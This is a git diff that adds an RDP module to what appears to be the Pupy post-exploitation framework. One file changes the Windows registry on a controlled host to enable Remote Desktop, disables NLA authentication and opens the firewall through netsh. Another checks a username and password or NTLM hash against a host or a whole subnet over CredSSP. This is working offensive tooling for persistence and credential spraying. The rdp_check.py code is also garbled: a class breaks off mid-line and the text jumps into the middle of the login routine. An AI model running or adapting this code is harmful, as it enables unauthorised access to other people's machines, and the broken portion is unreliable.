diff --git a/pupy/modules/rdp.py b/pupy/modules/rdp.py new file mode 100644 index 00000000..aefd1ef4 --- /dev/null +++ b/pupy/modules/rdp.py @@ -0,0 +1,72 @@ +# -*- coding: UTF8 -*- +from pupylib.PupyModule import * +from pupylib.utils.rpyc_utils import redirected_stdio +from netaddr import * + +__class_name__="Rdp" + +@config(cat="admin") +class Rdp(PupyModule): + """ Enable / Disable rdp connection or check for valid credentials on a remote host """ + + def init_argparse(self): + + example = 'Examples:\n' + example += '>> run rdp local --enable\n' + example += '>> run rdp local --disable\n' + example += '>> run rdp remote -u john -p P4ssw0rd -t 192.168.0.1\n' + example += '>> run rdp remote -u john -p P4ssw0rd -t 192.168.0.1/24\n' + + self.arg_parser = PupyArgumentParser(prog="Rdp", description=self.__doc__, epilog=example) + subparsers = self.arg_parser.add_subparsers(title='Choose a specific action') + + local = subparsers.add_parser('local', help='Enable / Disable rdp connection (only for windows hosts)') + local.set_defaults(local=True, remote=False) + local.add_argument('--enable', '-e', action='store_true', help='enable rdp') + local.add_argument('--disable', '-d', action='store_true', help='disable rdp') + + remote = subparsers.add_parser('remote', help='Check for valid credentials on a remote host') + remote.set_defaults(remote=True, local=False) + remote.add_argument('--target', '-t', dest='target', required=True, help='remote host or range for checking RDP connection') + remote.add_argument('-d', dest='domain', default='workgroup', help='domain used for checking RDP connection') + remote.add_argument('-u', dest='username', required=True, help='username used for checking RDP connection') + remote.add_argument('-p', dest='password', default= '', help='password used for checking RDP connection') + remote.add_argument('-H', dest='hashes', help='NTLM hashes used for checking RDP connection') + + def run(self, args): + + # TO DO: enable multi RDP session + + if args.local: + if args.enable or args.disable: + if not self.client.is_windows(): + self.error("This option could be used only on windows hosts") + return + + self.client.load_package("pupwinutils.rdp") + + # check if admin + if not self.client.conn.modules["pupwinutils.rdp"].check_if_admin(): + self.error("Admin privileges are required") + + with redirected_stdio(self.client.conn): + if args.enable: + self.client.conn.modules["pupwinutils.rdp"].enable_rdp() + + if args.disable: + self.client.conn.modules["pupwinutils.rdp"].disable_rdp() + + elif args.remote: + if "/" in args.target[0]: + hosts = IPNetwork(args.target[0]) + else: + hosts = list() + hosts.append(args.target) + + self.client.load_package("pupyutils.rdp_check") + self.client.load_package("impacket") + self.client.load_package("calendar") + self.client.load_package("OpenSSL") + for host in hosts: + with redirected_stdio(self.client.conn): + self.client.conn.modules["pupyutils.rdp_check"].check_rdp(host, args.username, args.password, args.domain, args.hashes) \ No newline at end of file diff --git a/pupy/packages/all/pupyutils/rdp_check.py b/pupy/packages/all/pupyutils/rdp_check.py new file mode 100755 index 00000000..5f9a15b9 --- /dev/null +++ b/pupy/packages/all/pupyutils/rdp_check.py @@ -0,0 +1,566 @@ +#!/usr/bin/python +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Author: +# Alberto Solino (@agsolino) +# +# Description: [MS-RDPBCGR] and [MS-CREDSSP] partial implementation +# just to reach CredSSP auth. This example test whether +# an account is valid on the target host. +# +# ToDo: +# [x] Manage to grab the server's SSL key so we can finalize the whole +# authentication process (check [MS-CSSP] section 3.1.5) +# + +from struct import pack, unpack + +# from impacket.examples import logger +from impacket.structure import Structure +from impacket.spnego import GSSAPI, ASN1_SEQUENCE, ASN1_OCTET_STRING, asn1decode, asn1encode +import socket +import argparse +import sys +# import logging +from binascii import a2b_hex +from Crypto.Cipher import ARC4 +from impacket import ntlm, version + + + +TDPU_CONNECTION_REQUEST = 0xe0 +TPDU_CONNECTION_CONFIRM = 0xd0 +TDPU_DATA = 0xf0 +TPDU_REJECT = 0x50 +TPDU_DATA_ACK = 0x60 + +# RDP_NEG_REQ constants +TYPE_RDP_NEG_REQ = 1 +PROTOCOL_RDP = 0 +PROTOCOL_SSL = 1 +PROTOCOL_HYBRID = 2 + +# RDP_NEG_RSP constants +TYPE_RDP_NEG_RSP = 2 +EXTENDED_CLIENT_DATA_SUPPORTED = 1 +DYNVC_GFX_PROTOCOL_SUPPORTED = 2 + +# RDP_NEG_FAILURE constants +TYPE_RDP_NEG_FAILURE = 3 +SSL_REQUIRED_BY_SERVER = 1 +SSL_NOT_ALLOWED_BY_SERVER = 2 +SSL_CERT_NOT_ON_SERVER = 3 +INCONSISTENT_FLAGS = 4 +HYBRID_REQUIRED_BY_SERVER = 5 +SSL_WITH_USER_AUTH_REQUIRED_BY_SERVER = 6 + +class TPKT(Structure): + commonHdr = ( + ('Version','B=3'), + ('Reserved','B=0'), + ('Length','>H=len(TPDU)+4'), + ('_TPDU','_-TPDU','self["Length"]-4'), + ('TPDU',':=""'), + ) + +class TPDU(Structure): + commonHdr = ( + ('LengthIndicator','B=len(VariablePart)+1'), + ('Code','B=0'), + ('VariablePart',':=""'), + ) + +def __init__(self, data = None): + Structure.__init__(self,data) + self['VariablePart']='' + +class CR_TPDU(Structure): + commonHdr = ( + ('DST-REF',' + # + # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted + # from the TSRequest structure by the client and server; the OPTIONAL pubKeyAuth + # field is omitted by the client unless the client is sending the last SPNEGO token. + # If the client is sending the last SPNEGO token, the TSRequest structure MUST have + # both the negoToken and the pubKeyAuth fields filled in. + + # NTLMSSP stuff + auth = ntlm.getNTLMSSPType1('','',True, use_ntlmv2 = True) + + ts_request = TSRequest() + ts_request['NegoData'] = str(auth) + + tls.send(ts_request.getData()) + buff = tls.recv(4096) + ts_request.fromString(buff) + + # 3. The client encrypts the public key it received from the server (contained + # in the X.509 certificate) in the TLS handshake from step 1, by using the + # confidentiality support of SPNEGO. The public key that is encrypted is the + # ASN.1-encoded SubjectPublicKey sub-field of SubjectPublicKeyInfo from the X.509 + # certificate, as specified in [RFC3280] section 4.1. The encrypted key is + # encapsulated in the pubKeyAuth field of the TSRequest structure and is sent over + # the TLS channel to the server. + # + # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted + # from the TSRequest structure; the client MUST send its last SPNEGO token to the + # server in the negoTokens field (see step 2) along with the encrypted public key + # in the pubKeyAuth field. + + # Last SPNEGO token calculation + #ntlmChallenge = ntlm.NTLMAuthChallenge(ts_request['NegoData']) + type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, ts_request['NegoData'], username, password, domain, lmhash, nthash, use_ntlmv2 = True) + + # Get server public key + server_cert = tls.get_peer_certificate() + pkey = server_cert.get_pubkey() + dump = crypto.dump_privatekey(crypto.FILETYPE_ASN1, pkey) + + # Fix up due to PyOpenSSL lack for exporting public keys + dump = dump[7:] + dump = '\x30'+ asn1encode(dump) + + cipher = SPNEGOCipher(type3['flags'], exportedSessionKey) + signature, cripted_key = cipher.encrypt(dump) + ts_request['NegoData'] = str(type3) + ts_request['pubKeyAuth'] = str(signature) + cripted_key + + try: + # Sending the Type 3 NTLM blob + tls.send(ts_request.getData()) + # The other end is waiting for the pubKeyAuth field, but looks like it's + # not needed to check whether authentication worked. + # If auth is unsuccessful, it throws an exception with the previous send(). + # If auth is successful, the server waits for the pubKeyAuth and doesn't answer + # anything. So, I'm sending garbage so the server returns an error. + # Luckily, it's a different error so we can determine whether or not auth worked ;) + buff = tls.recv(1024) + except Exception, err: + if str(err).find("denied") > 0: + print "[-] Access Denied" + else: + print err + return + + # 4. After the server receives the public key in step 3, it first verifies that + # it has the same public key that it used as part of the TLS handshake in step 1. + # The server then adds 1 to the first byte representing the public key (the ASN.1 + # structure corresponding to the SubjectPublicKey field, as described in step 3) + # and encrypts the binary result by using the SPNEGO encryption services. + # Due to the addition of 1 to the binary data, and encryption of the data as a binary + # structure, the resulting value may not be valid ASN.1-encoded values. + # The encrypted binary data is encapsulated in the pubKeyAuth field of the TSRequest + # structure and is sent over the encrypted TLS channel to the client. + # The addition of 1 to the first byte of the public key is performed so that the + # client-generated pubKeyAuth message cannot be replayed back to the client by an + # attacker. + # + # Note During this phase of the protocol, the OPTIONAL authInfo and negoTokens + # fields are omitted from the TSRequest structure. + + ts_request = TSRequest(buff) + + # Now we're decrypting the certificate + 1 sent by the server. Not worth checking ;) + signature, plain_text = cipher.decrypt(ts_request['pubKeyAuth'][16:]) + + # 5. After the client successfully verifies server authenticity by performing a + # binary comparison of the data from step 4 to that of the data representing + # the public key from the server's X.509 certificate (as specified in [RFC3280], + # section 4.1), it encrypts the user's credentials (either password or smart card + # PIN) by using the SPNEGO encryption services. The resulting value is + # encapsulated in the authInfo field of the TSRequest structure and sent over + # the encrypted TLS channel to the server. + # The TSCredentials structure within the authInfo field of the TSRequest + # structure MAY contain either a TSPasswordCreds or a TSSmartCardCreds structure, + # but MUST NOT contain both. + # + # Note During this phase of the protocol, the OPTIONAL pubKeyAuth and negoTokens + # fields are omitted from the TSRequest structure. + tsp = TSPasswordCreds() + tsp['domainName'] = domain + tsp['userName'] = username + tsp['password'] = password + tsc = TSCredentials() + tsc['credType'] = 1 # TSPasswordCreds + tsc['credentials'] = tsp.getData() + + signature, cripted_creds = cipher.encrypt(tsc.getData()) + ts_request = TSRequest() + ts_request['authInfo'] = str(signature) + cripted_creds + tls.send(ts_request.getData()) + tls.close() + print "[+] Valid RDP credentials" + diff --git a/pupy/packages/windows/all/pupwinutils/rdp.py b/pupy/packages/windows/all/pupwinutils/rdp.py new file mode 100644 index 00000000..67702e69 --- /dev/null +++ b/pupy/packages/windows/all/pupwinutils/rdp.py @@ -0,0 +1,75 @@ +from _winreg import * +import ctypes +import subprocess + +def check_if_admin(): + return ctypes.windll.shell32.IsUserAnAdmin() != 0 + +def setRegValue(aReg, keyPath, regPath, value): + try: + aKey = OpenKey(aReg, keyPath, 0, KEY_WRITE) + SetValueEx(aKey, regPath, 0, REG_DWORD, value) + CloseKey(aKey) + return True + except: + return False + +def modifyKey(keyPath, regPath, value, root=HKEY_LOCAL_MACHINE): + aReg = ConnectRegistry(None, root) + + if not setRegValue(aReg, keyPath, regPath, value): + CloseKey(aReg) + return False + + CloseKey(aReg) + return True + +def executeCmd(cmd): + command=['cmd.exe', '/c'] + cmd.split() + res = subprocess.check_output(command, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, universal_newlines=True) + # info=subprocess.STARTUPINFO() + # info.dwFlags=subprocess.STARTF_USESHOWWINDOW | subprocess.CREATE_NEW_PROCESS_GROUP + # info.wShowWindow=subprocess.SW_HIDE + # p=subprocess.Popen(command, startupinfo=info, stderr=subprocess.STDOUT, stdout=subprocess.PIPE, universal_newlines=True) + # results, _=p.communicate() + return res + +def enable_rdp(): + # enable RDP + if modifyKey(r"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\", 'fDenyTSConnections', 0): + # disable NLA authentication + if modifyKey(r"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\", "UserAuthentication", 0): + # adding a firewall rule + cmd = 'netsh firewall set service type=remotedesktop mod=enable' + # cmd = 'netsh advfirewall firewall set rule group="Bureau à distance" new enable=Yes' + r = executeCmd(cmd) + if 'ok' in r.lower(): + print '[+] RDP enabled' + else: + print '[-] Failed to add new firewall rule' + else: + print '[-] Failed to disable NLA authentication' + else: + print '[-] Failed to change the rdp key' + + +def disable_rdp(): + # disable RDP + if modifyKey(r"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\", 'fDenyTSConnections', 1): + # enable NLA authentication + if modifyKey(r"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\", "UserAuthentication", 1): + # removing a firewall rule + cmd = 'netsh firewall set service type=remotedesktop mod=disable' + r = executeCmd(cmd) + if 'ok' in r.lower(): + print '[+] RDP disabled' + else: + print '[-] Failed to remove the rdp firewall rule' + else: + print '[-] Failed to disable NLA authentication' + else: + print '[-] Failed to change the rdp key' + + + +# www.vladan.fr/multiple-rdp-sessions-on-windows/